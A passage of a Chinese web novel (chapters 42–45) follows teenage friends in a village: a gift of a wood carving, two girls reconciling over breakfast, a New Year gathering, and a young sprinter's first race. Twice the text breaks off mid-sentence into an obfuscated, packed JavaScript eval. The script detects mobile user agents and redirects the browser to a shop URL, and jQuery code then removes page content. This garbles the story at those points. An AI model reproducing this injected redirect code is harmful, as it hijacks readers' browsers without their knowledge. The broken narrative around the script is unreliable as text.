换只手臂拄着,继续:“明天去镇上,找到人,先吃早餐,再去逛街,中午去吃那家海鲜面,再去……”念叨一半,脚边有石子丢来。 她低头望下去,有个人猫在阴影里,灰色羽绒服,帽子戴着,边上一圈毛,乍一看像头狼。大概是跑来的,哼哧哼哧喘着气,连带身体在轻晃。她没出声,那人许久没听到动静,拿帽子罩住脸,眼睛从缝里往外瞄。 徐澄月倍觉无语,暗暗翻了个白眼,“江韫北,别装了。”影子里都透出滑稽的人,除他外没别人。 江韫北拉下帽子,不太服气:“这都能认出来,徐澄月你透视眼啊。”话锋一转,瞪她,“就知道你在这,少爬一次屋顶会死?” 徐澄月懒得和他掰扯这事,把石头丢还给他,“不是明天回吗?” 江韫北没理她,视线扫过眼前一堆红砖头。阿爷不知道干什么用,在门边堆了一堆,累到有房子一半的高度,江韫北目测一番,走远几步,提起裤脚,三个箭步,踩上红砖,跃起抱住房檐,双脚再一蹬墙,人就轻易上了屋顶,踩着瓦片朝她走去。 目睹他一顿老练操作的徐澄月,竖起大拇指,“你这熟练度,学校墙没少爬吧?” 江韫北又瞪她,“咱光明正大走正门。” “不是明天才回来吗?”他坐到她旁边,徐澄月又问。 “我爸坐下都没喝口茶,就让我给拉回来了。”他低头在羽绒服内侧,一个大口袋里摸索半天,拿出来个亚克力小盒子,递过去,“喏,给你,哥够意思?。” 周围不太亮,但并不妨碍徐澄月认出他手里的东西。 是她准备拿竞赛奖金买的那个木雕。 “你怎么把它买了!”她激动地要蹦起来,但意图被人抢先一步洞悉,手和腿被用力按住,她只能不断挥舞空着的手。 “你别激动别激动。”江韫北不敢松手,“就最近有点小钱,当散财积福了。” 徐澄月盯着他看,不说话。 江韫北移开视线,难得羞涩,“就当……你的比赛礼物了。徐澄月,考不好又不是什么大事,学校奖金拿不了,还有我啊,我给搞你个安慰奖。” 徐澄月看着他那别扭样,不由得笑了,这人还真是,从小到大送礼物都不会好好送,明明一两句好话就能锦上添花,偏偏直道不走非要拐个十八弯表达关心。 说他羞涩,有时妙语连珠,不正经的话一句蹦一句,说他直率,偶尔又爱闹别扭。不知不觉习惯了,倒也觉得这反差蛮可爱。 徐澄月使坏, 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江韫北拿过来端详一阵,其实不太认出来她说的那几样,可能是他笨,也可能是外行,瞧不出门道,“你喜欢就行,也……不算多贵。” 这话总算像样了,“欸另一个老板有说给谁买了吗?虽然一样,但应该是第二次,精雕细琢的,不像这个,一气呵成。江韫北,你挺厉害啊,还能买中我看中的。” 前面那次去只看了,没告诉他们她喜欢哪个,只和许琳交代过。 见她开心,江韫北也乐得吹捧她,“幸好先买那人没你这眼光。” “那是,我可是丁爷爷教的。” “我可是跟着你耳濡目染的。” 越晚越冷,江韫北裹紧衣服,喊她下去。 他拎起她的书包,走在前头,脚探着哪块比较结实,“徐澄月,东西喜欢吧?” 徐澄月跟紧他,听到风送来他的话,“喜欢啊。” “那就不要不开心了。” 徐澄月低头,隔了几秒才答:“我没有不开心。” “少来,你撅个屁股我都知道你要放什么屁。” “去你的。”徐澄月踢他一脚。 “啧,屋顶上,别玩。”下木梯,他让她等他下完,“何……和我们一群这么有意思的人一块,还不开心的话,徐澄月,你真的是身在福中不知福了。” 徐澄月双手抱胸,盯着他的动作,哼笑:“少给自己脸上贴金。” “切——小心这一级,松了,这回摔下来我可接不住你啊。” “那你也得在下面给我垫着!”格外跋扈。 安全落到地面,徐澄月认真和他道次谢,便准备去睡觉。 “徐澄月。”江韫北叫住她,双手插在裤兜里,微侧着身体看她,还是那副吊儿郎当样,语气却难得正经,“你不要管别人怎么样,反正和你做朋友的人,都是有福气的。” 42. 第 42 章 周六,徐澄月起了个大早。 坐车去镇上,到何意霖家的小区。 还没八点,不知道她醒了没,原本可以下午来,但她等不及。 时间太早,温度很低。徐澄月把身体各个地方都捂得严实,靠在墙上,想稍稍眯会补觉,但小区门口四面无遮挡,寒风像装了定位器,猛烈地往她身上刮。 吹得头发凌乱,鼻涕直淌,还有心思想:失策,早知道把阿爷的军大衣穿出来。 等到八点多,猜想她该醒了,给她发去消息。 睡不了,也没得坐,只好蹲在角落里。 蹲了一会,小区门口逐渐有人。 小区外,一个穿着单薄的男孩,大清早刚运动完回来,一面走一面拍篮球,小区内,走出来一个老头,拄着拐,走得很慢。徐澄月正无聊数着两人要多久能走到一块,下一幕让她瞠目结舌。 隔着一步距离,男孩擦肩走过,老头却直挺挺躺下,捂着腰蜷着腿,哎哟喊着被男孩撞倒。 徐澄月瞪大眼,头一回瞧见碰瓷,还是这么硬的瓷。 接下来的剧情没什么新意。老头的哀嚎引来保安,进出的人也过来围观,他“虚弱”地控诉男孩的恶行,要求叫家长赔偿,围观的人也不分青红皂白责怪男孩的不小心。男孩解释事情经过证明自己无辜,这一嘴那一句,场面一时有些混乱。 徐澄月思考一会,几个法子在脑中过一遍,起身,蹲久了,腿有些软,一瘸一拐跑过去。她挤进去,众目睽睽之下,扶起老头,手故意放在他一直说疼的地方,真诚地说:“阿爷,您没摔到这吧?” 老头眼神躲闪,想推开她。手还没碰到人,徐澄月顺势倒下,也哎哟喊疼,把老头气坏了,说他都没碰到她,她是故意的。 徐澄月这时站起来,“哦,您刚刚也是这样摔倒的。” 她向保安和群众详细解释两人是什么时间点来到这,老头是如何倒下,倒下前男孩在做什么。 老头显然不是第一次做这样的事,十分熟练地倚老卖老,外加撒泼耍赖,说他们联合起来胡说八道。 徐澄月十分无奈:“我又不认识他,干嘛帮他骗人呢。大爷,您是老人,也不能这么欺负我们学生吧?如果您还觉得不行,我们报警吧。” 老头抓住徐澄月的胳膊,要去抢她的手机,男孩上来帮忙,人群只嘴上耍功夫,没人出手,只有保安在中间拦着。 推搡一会,一道身影风似的从小区内冲出来,接着声音如雷:“你们干什么,一群人欺负我朋友?” 何意霖把徐澄月抢过来,左手持一根门口花坛折来的树枝,挡在身前,右手紧紧攥着徐澄月的手,护在身后。 徐澄月看着两人交握的手,扬起唇,牵紧一些,跨上前和她一起对那些人。 何意霖得知事情来龙去脉,又瞥见老头,一眼将人认出,气势汹汹揭穿他的面目:“他是惯犯,上周就是这么讹我妈的,我们报警,他怕了才说实话,这才多久又来一次。大爷,您好歹换个地方讹呀。” 群众这时又调转枪头指责老头,保安大叔从中调节,这场闹剧才了结。 人群散去,只剩她们两人和男孩。 男孩为徐澄月帮他作证一事道谢,要请他们吃饭。 徐澄月拒绝了:“我不是帮你。” 男孩听不懂,坚持要请。 何意霖等不及了,就想剩她们俩好好说话,敷衍地解释徐澄月的意思:“她的意思是谁遇到这种事她都会站出来,不是刻意帮你。好了我们还有事你先走吧。” 说完不再理他,拉着徐澄月离开。 何意霖带人去附近一家早餐店,挑了最里面的位置。知道她的口味,自己去点了,相对坐下,张嘴,却不知说什么。从前一见面就叽叽喳喳的两人,此刻连周身的空气都是尴尬的。 但见她被风吹红的脸,何意霖心软了,左摸摸右摸摸,才发现太着急什么保暖的都没带,又心疼又气恼,“你傻不傻,干嘛大早上来吹风,有事不能电话里说?” 她一开口,徐澄月就笑了,“冰冷的电话哪能和我炽热的心相比。”她敞开外套,“不信你摸摸。” “神经啊你!”何意霖被气笑,坐过去把她衣服拉好,“真是被江韫北带坏了,油嘴滑舌的,赶紧穿好,再着凉了。” 老板这时送来早餐,两碗打了鸡蛋的豆浆,两根刚炸好的油条,一屉小笼包。 何意霖坐回去,埋头喝豆浆,间隙偷偷抬眼瞄徐澄月。她还是老样子,油条喜欢泡在豆浆里吃,咕哝一口,上唇一圈白色泡沫。 眼前一幕与记忆重叠,不由分说的,主导此刻所有情绪。 听到笑声,徐澄月停住动作,看她,“笑什么?” “笑你像个圣诞老人。” “你也是。” 两人默契地伸舌头舔上唇,舔完,视线撞到一块,又放声大笑。 一圈泡沫而已,不是没见过,但莫名的,她们笑了很久。各自准备的一肚子话,都随着一碗热腾腾的豆浆融化。 吃完早餐,徐澄月按昨天的计划,先一起去了之前说了很久的植物城,逛完一早上,中午到那家老字号吃海鲜粿条。下午四处走,看到手工艺品店就进去,逛累了就找一家奶茶店休息,互看买的小玩意。 日暮时分,才去公交站。 徐澄月晃着两人紧牵的手,酝酿片刻,直视何意霖,把昨晚准备的话说出:“意霖,对不起。我不应该没有先反省,就和你说那样的话。” 她其实准备了一张纸,把这些天想到的,令她们产生矛盾的点都一一列出,还在每一个点后写了道歉的话。背得滚瓜烂熟,然而这一刻都忘了,就像考前拼命背的知识点,看到题目却无从下笔。 她有些混乱的,叙述她反省出来的错误,比如放了她好几次鸽子,比如因大大小小的事忽略了她,还有最重要的,那根手绳。 “我当时急坏了,怕你知道,也怕你伤心,一时头脑发热,才买了个新的,对不起。” 徐澄月从不畏惧承认自己的错误,也并不觉得先低头就丢人。错误在她,她再怎么弥补,都是应该的。 说完安静,眼睛也不离何意霖,像在等待她宣判。 明明是她在认错道歉,何意霖却莫名有些羞赧。 这是第一次,她和朋友这样开诚布公,说这些或许在别人眼里是无足轻重的事。 今天她们把之前约的去不成的地方通通去了一遍,但没人提起促成这一天的原因。就好像那些小矛盾从来没发生过,只是普通日子一次简单不过的约会。 但何意霖知道,是不一样的。 就像墙体出了裂缝,及时修补,墙不会倒。徐澄月在尝试修补那道缝隙。 从前她也经历过出现裂缝的友谊,而她与对方的处理方式是听之任之,一个藏着不说,一个故意捣坏墙皮,最终墙塌了,她们分道扬镳。她没做过修缮者,不知道这样的主动要耗费多少心力,但她曾是沉默者,知晓坍塌的痛。 她不想再经历一次,也知道,她再也不会遇到像徐澄月这样的朋友,愿意走到墙边,告诉她,到我身后来,我来修,别被砸到。 良久,她终于开口:“其实那天,我说你是我同学,是气话。” 后来何意霖想,直接说明你和别人走太近忽略我,你弄丢我送的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150456|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼物还骗我,我生气了,能怎么样呢?我在乎你,才会有这样小气自私的想法,说出来,你重视,愿意解决,证明你还将我当朋友,你视若无睹,那是我识人不清,及时斩断,不再耗费多余感情,对我也是件好事。 会犹豫,心生不快,但闭口不讲,无非是这个年纪的我们,怯于直白表达真实想法,也害怕一示弱,在这段友谊里就处了下风。 十几岁时的自尊与面子,堪比三十岁的房子和车子。 但16岁的何意霖,在自尊和朋友之间,选择了朋友。 “我知道,是我不对,对不起。我那天真的找了好久,找不到,才想出那个笨方法!” 她直捣问题所在,让何意霖彻底解开心结,“你也知道是笨方法啊!马大哈!我原谅你啦!带回我之前送你那条,有铃铛的。” “遵命!” “下次有事情直接和我说,不许再骗我。” “一定,骗你我是狗!” 两人相视而笑。 对不起和原谅,让友情继续的理由,有时只需要这两句。 到云水村的公车快进站,徐澄月还有话想说,一句过一句,最后只剩,“我们下周一去吃麻辣烫啊!” “好啊!” 车快停下,徐澄月掏出零钱,“那我先回去了。” 何意霖突然拉住她,轻轻抱她一下,“澄澄,谢谢你今天能来。” 不敢看着她眼睛说,那太难为情,但想抱她一下是真的。 车开走了,看不见人,只能瞧见一缕灰色尾气。等那缕尾气也消失了,何意霖才往反方向走。走出一段,她猛地一跳,半空中双腿扑腾几下,像生物课本上那只被用作实验反射功能的青蛙,落回地上,又迎风跑起来。 她此刻的快乐,和风灌满衣服一样多。 - 人逢喜事精神爽。 和何意霖说开后,徐澄月心情舒坦了,连带好运气也来了。 期末考前选拔考试出结果,刚好第五名,虽然无缘后面的比赛,但顺利拿到学校的奖金,500,还得来父母额外100的奖励,金库里又添一笔。 因三人选拔赛的优秀成绩,又恰逢几家父母都空闲,周六便约在徐家聚餐,包饺子,擀粉条。 大人忙得脚不沾地,他们几个窜进窜出,被嫌碍手,连带烤鸽,一通赶进徐澄月房间。 没有游戏机,只能找飞行棋玩。 徐澄月正巧有道题要问俞麒,便主动退出第一轮。 动能与力学结合的题,有些复杂。俞麒讲完,让她自己整理,一抬头,就瞧见摆在她书桌最显眼位置的木雕。上手摸了摸,问:“奖金还没发,这个和徐叔预支零花钱买的?” 徐澄月在看他写的步骤,头也不抬地答:“不是啊,江韫北送的,他以为我没考好。” 俞麒扭头,视线正前方就是江韫北。 他刚好赢了游戏在得瑟,“到家!我赢了!都给我贴!”随后是一阵得意的长笑,被徐澄月吼一嗓子,不太情愿地停下。 俞麒笑了笑,眼睛转回来,落回木雕上,停留许久,想起一些事。 在俞麟身体还没有如今这样健康之前,他很早学会观察父母和他的情绪,清楚什么时候他应该做出关心。他认为自己足够细心。 但他有个或许在此刻看来是缺点的习惯——那些关心,几乎很少以直白的语言或行动展示,他习惯沉默,让他们以为那是生活的一部分。知不知道和他有关,他觉得没关系。 真的没关系吗? 此刻在朋友喧闹中,看着那只安静伫立在书桌上的木雕,俞麒第一次在心里这样问自己。 43. 第 43 章 饺子包了许多。 俞麒拿餐盒装了些生的,被徐爸看见,问是不是给俞麟留的,他点头,被多塞了一盒。 江菀瞧见了,感慨:“还是俞麒心疼俞麟,再看看我们家这两个,天天干架。”话音未落,那头姐弟俩不知又因为什么吵起来。江菀呵斥两声,不奏效。 方妈笑着接话:“别看两人吵,关键时候不知道多团结。对了阿屏,俞麟好像好久没回来了。” 俞妈正往锅里下饺子,扭头回她,“是啊,最近训练开始上强度了,每周就歇周末下午,他觉得累,补觉去了,打算等放假再回来。” 方妈:“嗬,俞麟也是个能吃苦的。” 俞妈盖上锅盖出来,“我还以为他会撑不住回家和我们抱怨,谁知道,还挺有激情,身体也练得不错。” 徐妈说:“他喜欢就好,不过这行也苦,熬得下去才好。” 俞妈说:“是啊,都已经全部压上了。” 这时,在一旁默默收拾桌上面粉的俞麒开口:“他可以的。” 离他不远,和岳清卓吵完中场靠墙休息的江韫北听到这话,眉一挑,直呼太阳打西边出来了,他还是第一次这么支持俞麟。他马不停蹄,掏出手机,点开录音,让他再说一遍,录给俞麟听。 俞麒目不转睛看他几秒,吐出两个字:“无聊。” “不说就不说,等他回来我一个字一个字说给他听。” 这一等,就等到除夕前一周。 几人打听好他的离校时间,掐着点大包小包去接他。 远远瞧见他出来,正想迎上去,就见他身后跟着一个女孩。 除去俞麒,四人互相对视,下一秒默契拦住俞麒的脚步,捂住他的嘴将人拖到墙边,叠叠乐似的将身体交叠在一块偷听。 女孩先开口:“俞麟,你有空吗,我想请你吃个饭。” 墙边几人疯狂替他点头。 俞麟认真拒绝:“吃饭?不行吧,我朋友他们要来找我了。” 女孩又说:“朋友也可以一起吃,快到饭点了。” 俞麟皱眉:“一起?不好吧,我们要回老家,我们阿爷肯定做好饭在等着了。” 女孩继续邀请:“那过年期间你有空吗?” 俞麟思考一会,还是拒绝:“过年?可能没有,我要和我朋友们一块玩,还要训练。” 一再被拒绝,女孩脸色有些难为情,随意两句结尾便告辞了。 跑出没几步,俞麟突然把人叫住:“冉于漪!” 冉于漪喜出望外,停下回头。 俞麟指着她的鞋子,“鞋带掉了,绑好。再见。” 冉于漪愣住几秒,随后愤愤地蹲下绑鞋带,打个掉不了的死结,又犹豫等会站起来要不要和他搭话,纠结中把另一边鞋带加固,再抬头,那道身影早已向着前头几个人快速跑去。 她被气笑,对那道风一样的身影拳打脚踢,见那几人看过来,又立马转身跑走。 这端的俞麟,跑过来还没站稳,被江韫北一个猛扑,他顺势将人捞起。 江韫北感受到他一身硬邦邦充满力量的肌肉,拍拍他结实的背,“可以啊,才一学期就练得这么好。不过你们怎么刚开始强度就这么大?” “教练说了,竞技体育,基础要打好,先天优势要加后天努力,才能走得更远。”俞麟撤回一只手,单手托在他屁股上,向他展示什么叫好。 徐澄月看馋了,凑上去说也要感受一下。 俞麟抬起手臂,让她抓住大臂,充当旋转木马,拎着她转了一圈。 轮番感受完他的力量,几人才想起刚刚那个女生,八卦打探那是谁。 俞麟没看出来他们的好奇,实话实说:“我教练女儿,就是之前我们在植物园帮的那个女孩,冉于漪。” 江韫北贼兮兮地问:“她找你做什么?” 俞麟把两人的对话一字一句转述。 江韫北:“都是四肢发达,头脑简单的人,看来只有我是个例。” 俞麟不明白:“什么意思?” 江韫北:“意思就是,人家对你……”还没说完,被一只手捂回去。 俞麒勾着他的脖子,把他嘴捂得死死的,“意思就是,让你好好训练,不要……”眉一皱,又回到那两个字上。 徐澄月笑嘻嘻地帮他补充:“不要谈恋爱。” 俞麟一瞬脸红,像炸毛的烤鸽,冲向话题的开启者,将他的脑袋一顿摁,“我没有,江狗你瞎说什么呢。” 江韫北还被捂着嘴,歪着脑袋弓着腰,被兄弟俩左右夹击。 被玩乐和学习充斥的平静生活,不知何时开始,自然而然出现“喜欢”“恋爱”这样的字眼。无需过渡,仿佛只是冬日沉睡,春天一来,将它们唤醒。 那是一种说不清道不明的情愫,朦胧又神秘,像被层层薄雾掩映,有一道声音在雾中引领你去追逐,去探索。无法言明的思绪于是变成本能的欲望,而欲望催生行动。 唯一可以确定的是,它们正悄悄在十六岁少年心里流淌、窜动。 * 搬家后第一次过年,还是回到云水村过。 江韫北回到这里,像猴子回了水帘洞,少了唐僧紧箍咒的威胁,肆无忌惮,到处撒欢。 除夕前一天,徐澄月在家帮忙大扫除,忽听一声惨叫,在喊她救命。随后皮猴窜进她家天井,直奔她而来,躲到她身后。 阿爷拎一个衣架,紧随其后,骂骂咧咧地叫他别躲。 徐澄月被这架势吓到,阿爷很久没气势浩大地教训江韫北了,那衣架下去,身上肯定得肿,她拦住阿爷的手,当和事佬。 “澄澄,你让开,我今天非打死这兔崽子!” 徐澄月的手和腰被这对爷孙扯着,身体一会往前一会朝后,难受得紧,一面安抚阿爷,一面让江韫北滚到别的地方躲。 阿爷气得吹胡子瞪眼:“澄澄,你别护着他,这狗崽子把我胡子剪了,我今天非把他头发给剃了!” 徐澄月这才看到,阿爷蓄了有手指长的胡子此刻短了半截,最边上的直接被剃到下巴。阿爷平日很宝贝他的胡子,修剪清洗比理发店的人干得都精细,难怪他会这么生气。 跟在阿爷身后来的岳清卓搭腔:“对,澄澄,你别护着江韫北。” 江韫北跳脚:“岳清卓,你还是我姐吗?” 岳清卓上来拉开徐澄月,斜他一眼:“表的。” 没了徐澄月这层防护罩,江韫北没地儿躲,挨了阿爷几下,哭天嚎地的让徐澄月救他。 徐澄月看到他捋起袖子的手臂上浮了一条红痕,这傻子!明知要挨打,还把袖子捋起来送过去打。 知道他身娇肉贵,伤痕要挺久才消,一时心软,再次上去拦住阿爷。 阿爷气喘吁吁地停下,“兔崽子,你给我等着,明天去把地里的芋头挖回来,少一个我抽你一下。” 徐澄月替他应下:“好好好阿爷,我替您看着他,不挖完绝对不给他饭吃。”然后给岳清卓使颜色,让她把阿爷带回去。 两人离开,江韫北累得瘫倒在地上。 徐澄月过去踢踢他,骂道:“你怎么那么欠呢,阿爷的胡子,也是你能碰的?” 江韫北委屈巴巴:“我还不是为了给烤鸽做鞋子!” “你不是拔烤鸽身上的毛做的吗?”那天给烤鸽洗澡,发现它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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结伴去找他,他正抱烤鸽坐在阿爷的躺椅上,神情严肃地教育烤鸽:“你这双鞋子是你爹用一脑袋头发换来的,怎么也得穿个几年,知道不?” 极其无理的要求。 徐澄月摊手,示意朋友们看,“我就说吧,他哪会郁闷,那年额头顶着乌龟都能到处遛,没头发算什么?我太了解他了,就是天塌了他也只会说‘阿敛,你先来顶一下’。” 说完进去,把帽子丢给他,抢过烤鸽,警告他,“别吓着我崽!” “我也有份!”江韫北嘟囔着打开袋子,满目粉色,用两指拎起帽檐,十分不解,“我平时的打扮让你们产生什么误解了吗?” 徐澄月张口就来:“张扬,骚包啊,这颜色是店里最亮眼的,你戴上就是咱村,用你那话怎么说来着,哦,最靓的。” 方之敛战术性轻咳,转移话题,“韫北,你试一下看看。” 一直看好戏的俞麟适时加把火,“戴啊,怂了?” “谁怂了!”江韫北摘下雷锋帽,又一阵笑,被他瞪回去,“这颜色还只有我能驾驭得了!” 几人异口同声:“嘁——” 为证明这个观点,江韫北戴上后特地换了身亮色衣服,牛仔蓝夹粉外套,复古蓝牛仔裤,颇有风靡当时的韩国男团风格。 “怎么样,靓仔吧!” 几人还未发表意见,碰巧几个阿叔阿婶过来串门,像见到什么古怪东西一眼看他,最后下结论:“呀——小北,你这是抢了澄澄帽子?” 靓仔梦碎。 44. 第 44 章 知道阿爷还生气,在老家这几天,江韫北跟在他屁股后帮他干活赔罪,哪知老头年纪大了,脾气也见长,愣是不搭理他,活干累了叫惨卖乖也没用。 嫌烦了就骂一句:“带着你的卤蛋头滚远点。” 这回估计是气大发了。 最后江韫北只好霸气把人拦住,谄媚地打商量:“我把我爸朋友送的那瓶酒偷点给你,咱讲和行吗?” 前段时间阿爷血压有些高,医生叮嘱不能喝酒,尤其是白的,江爸怕他管不住嘴,一次性把家里的酒清掉了,还到处和邻居、店铺老板交代,不要给他酒喝。严管之下,他已经很久没闻着味了。 果然,这个条件诱惑大,老头眼一亮,又觉得太明显,收敛一点,“真的?” “真。” “哼,你弄来再说。” 晚上吃完饭,趁他爸不注意,偷偷用阿爷的搪瓷缸装了小半杯。 阿爷打开盖子,一水红,不满道:“红的?红的喝着没劲。” 虽是哄他,江韫北也有分寸,“别想了,白的让我爸送人了,就怕你馋。” “你小子诓我!” “我只是说拿他朋友送的酒,又没说种类。”江韫北作势拿回杯子,“不喝?不喝我倒掉去。” “放着!”阿爷啧一声,颇嫌弃地收回视线,又被酒味勾着,余光偷偷瞥。 江韫北看穿他的心思,“这红酒可比你一两几块钱的白酒贵多了,就昨天那个开奔驰穿意大利西装的人送的,西施佳雅红酒,意大利的拉菲,好几千,年份久的要上万呢。” “拉菲是什么?” 江韫北眼珠转一圈,说:“就是中国的茅台。” “哦,那是挺贵的。” 金钱驱使,阿爷尝了一口,“还行吧,有点酒味。” “不懂享受。” “这个人怎么送你爸那么贵的酒?” “好像是我爸投资了他公司,挺多钱吧,昨天听到他说那钱救了他命什么的,不知道,神神叨叨的。”昨天饭桌上聊的,他赶着和俞麟去踢球,听了几耳朵。 “救命啊?”阿爷听得眉头紧蹙,“那可不是小事。挨——你爸这人心肠软,讲义气,力所能及的都要帮一把,也不知道生意场上,这是好是坏。” “不好能有红酒喝?” “你小子,懂什么?”阿爷闷了一大口,琢磨道:“不过今年来给你爸拜年送礼的人比往年多多了,他该不会在外边有什么势力吧?” “能有什么势力,不就是做生意,那做生意不就喜欢送礼走后门?这说明老江生意做得不错,能保证你晚年无忧,我好吃懒做。” 话落后脑挨了一下。 阿爷觑着他,“臭小子,你以为做生意那么简单?老话说,高处不胜寒,为利来为利往的,一不留神,就得栽跟头。” 江韫北吊儿郎当地摊着,没怎么听进去他的话,“放心吧,还有我妈呢,每个成功男人背后都有一个更了不起的女人,我妈会拉着他的。” “也是,你妈能干。”阿爷仰头,望着夜空,喝完最后一口,“走吧,把杯子洗干净,免得被你爸发现。” 爷孙俩刚起身,前头屋子响起钢琴声。 江韫北撒手,往前走,“俞麒又开始练琴了,大过年的,练什么琴,找他放烟花去。” 改不了过年爱给烟花店老板送钱的毛病,江韫北今年又买了一大堆,吆喝其他人去俞家,一进屋,两人一个在练琴,一个压腿。听到放烟花,俞麟立马收腿。 不敢在俞叔眼皮子底下直接把人喊走,江韫北和他磨了一阵嘴皮子,刚一松口,他就将人拐走。 还是去老地方放。 俞麒帮忙把几个大的放完,就点了根仙女棒,退到边上看。朋友们在火树银花中打闹,他笑着注视,烟火照不到的身影倒透着几分寂寥。 仙女棒燃完了,声音和光都没了,更显冷清。但下一秒,指间被塞进一支新的。 岳清卓站到他旁边,也不问他为什么一个人站在这,只和他吐槽江韫北太吵了,烟花声都没他声大。 说了一会,带来的仙女棒点完,岳清卓突然转移话题:“你知道吗,前阵我爸妈打官司,我爸和法院提出想要我的抚养权,我妈当然不肯,但最终法院要听取我的意见。律师和我说,如果我不想,我可以拒绝,哪怕那个人是我亲爸。” 俞麒知道那时候她请假去法院的事,以为她还耿耿于怀,正想安抚,就听她说: “我没事,只是想告诉你,我们是可以和父母说不的。” 像冷掉的仙女棒,俞麒静止片刻,随即恢复,说:“澄澄告诉你的?” 岳清卓俏皮地将眉一挑,“我又不瞎。” 俞麒的目光转向在争夺最后一桶烟花燃放权的两人。 岳清卓了然,“俞麟被你保护得太好了,至于我弟嘛,你要原谅神经和电线杆子一样粗的人。” 俞麒笑了,垂眸看向已经不冒烟的仙女棒,心里一些郁气,也慢慢灭了。 钢琴是父亲喜欢的,只因儿时生活拮据无法学习,后来经济宽松了,却已过了那个年纪。而在他和俞麟之间,父亲选择他去帮他弥补这个遗憾。 第一次接触钢琴,看着那些四四方方的黑白键,他是欣喜的,也充满好奇,但不知不觉,最初的欣喜在父亲几近严苛的希冀下,逐渐消失殆尽。 他愿意学,也喜欢学,但他不愿意,每次都是承担他期待的那个人。 可他似乎从很小就丧失了拒绝他的能力。那时候他们为俞麟的病奔波,整日担惊受怕,无法分出太多精力给他。他希望他的乖顺能分担他们的压力,对他的一切安排,他无止境地顺从,于是他们理所应当地认为,那都是他喜欢的。 可以一个人在家吗,我们要去医院照顾弟弟。——可以。 学习要名列前茅,能做到吗。——能。 弟弟身体不好,你要帮忙照看他。——好。 在俞麟能不断说出“我不要”的时候,他只有不断的“好”。 他想过拒绝,但他更渴望关注。 放完烟花后,几人各自回家。 俞家在巷子最后,兄弟俩并肩走着。俞麒低头,看着两人在路灯下的影子,不知不觉,俞麟都比他高出一点了。 “训练怎么样,学得还开心吗?”开学没多久就问过了,不知道这些日子下来,扛不扛得住,职业选手的道路,远没有想象中轻松。 “专业训练确实会比之前瞎跑辛苦,但是也很有用,100米我已经可以跑11秒了,教练说已经到国家二级运动员的标准,就等着一鸣惊人了!”俞麟瞄一眼他的脸色,说出自己的真心话:“反正比学习有意思。” 俞麒听笑了,也不知跟学习结了多大仇。 “我教练说,已经给我报比赛了,下学期开始,会陆陆续续参加。” “电视上会播比赛吗?” “小赛事应该没有,但估计会有录像。” “第一场是什么?”< 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俞麟心里那些时隐时现的怀疑、犹豫不决,此刻都被俞麒这番话驱散,一瞬间,他重新感受到当日站在选拔赛场上的力量。他一把将哥哥抱起,旋转两圈,扔下,“哥,你放心,我一定给你跑出名堂来!” “嗯。”俞麒拍拍他的肩。 进屋,父母都在客厅,一个沉迷于检测数据,一个在看杂志。 听到动静,俞妈从密密麻麻的数字里抬头,喊他们去吃宵夜,炖的乌鸡汤。 父母都吃过了,俞麟盛了一碗给哥哥,自己端锅,坐在母亲旁边吃。训练消耗大,他现在的饭量比之前涨了一倍,为节省时间训练,吃饭速度也飞快。 俞妈听见他哼哧哼哧的声音,笑着喊他吃慢点。 看不懂天文一样的数字,他端着锅又走到俞爸那边,看见杂志的内容,好奇地问:“爸,你看移民的资料干什么?” 俞麒喝汤的动作一顿,抬眼望过去。 俞妈也看过去,没什么表情的,又低头理自己的数据。 俞爸随意翻过一页,“出差回来在机场人发的,整理行李刚好看到,顺手翻了翻。” “哦。”他也不关心,拿起鸡腿啃。 俞爸嫌弃他这粗鲁的吃相,让他好好吃,学学哥哥。 “哥是文化人,我就一莽夫。” 俞妈大声笑他,“你对你们的定位倒是蛮精准的。” 俞麟隔空给她投去一个骄傲眼神。 俞爸收起杂志,例行公事似的,询问两人的学业。 俞麟绘声绘色讲起训练趣事,对其中辛苦一句带过,他希望他们知道,跑步不是他退而求其次的选择,而是他坚定不移的梦想。 俞妈为他的梦想点赞,俞爸则提供了资金支持。俞麟放下锅,擦擦嘴,分别给了一个感谢的吻。 他说完,轮到俞麒,语气平平说出期末考试成绩,年级第一,和阿敛并排。 俞爸听完欣慰地点头,“上次接到你们老师电话,说你有意愿走物理竞赛。” 俞麒点头,“挺感兴趣,想试试。” “挺好的,去吧,爸爸支持。和阿敛一起吗?” “阿敛还在考虑,走竞赛很难兼顾高考,他不是奔着物理去的。” “都行,你们自己有主意就好。” 俞麒把吃完的锅碗洗好,又将厨房收拾干净,回到客厅,见俞爸还在看那本杂志。 他打了个招呼,准备回房,房门关上前,他听到父亲说:“美国的物理学科,实力要比国内好啊。” 45. 第 45 章 2007年3月份,俞麟迎来运动生涯第一场正式比赛。 预赛那一天,恰巧也是市足球赛初赛。江韫北和方之敛所在的足球队,也要代表学校参赛。 同一天,相差一个小时的比赛时间,众人犯了难,不知道该怎么安排。 江韫北轻松替他们解决:“当然先去看俞麟啊,100米径赛时间很快,看完过来我们上半场都没打完。记得一到就和我说结果啊,我等不及结束。” “那万一……”徐澄月突然煞风景。 江韫北轻拍她后脑勺一下,“说什么不吉利的话,没有万一,一定,俞麟一定进决赛拿下冠军!” 语气和神情比他自己比赛还激动。 比赛那天,风轻云淡。 除去值班的方妈,所有人都到齐了。应阿爷要做好他们最坚实的后方的强烈要求,徐爸特地回去接了他们二老。 按江韫北说的,一行人先去径赛现场。 不算特别有名气的赛事,场外大多是参赛选手的家人朋友,三三两两挨一块,像他们一大家齐上阵,一坐下就占领观赛区一片位置的,几乎没有。 等了几分钟,选手们开始上场热身。 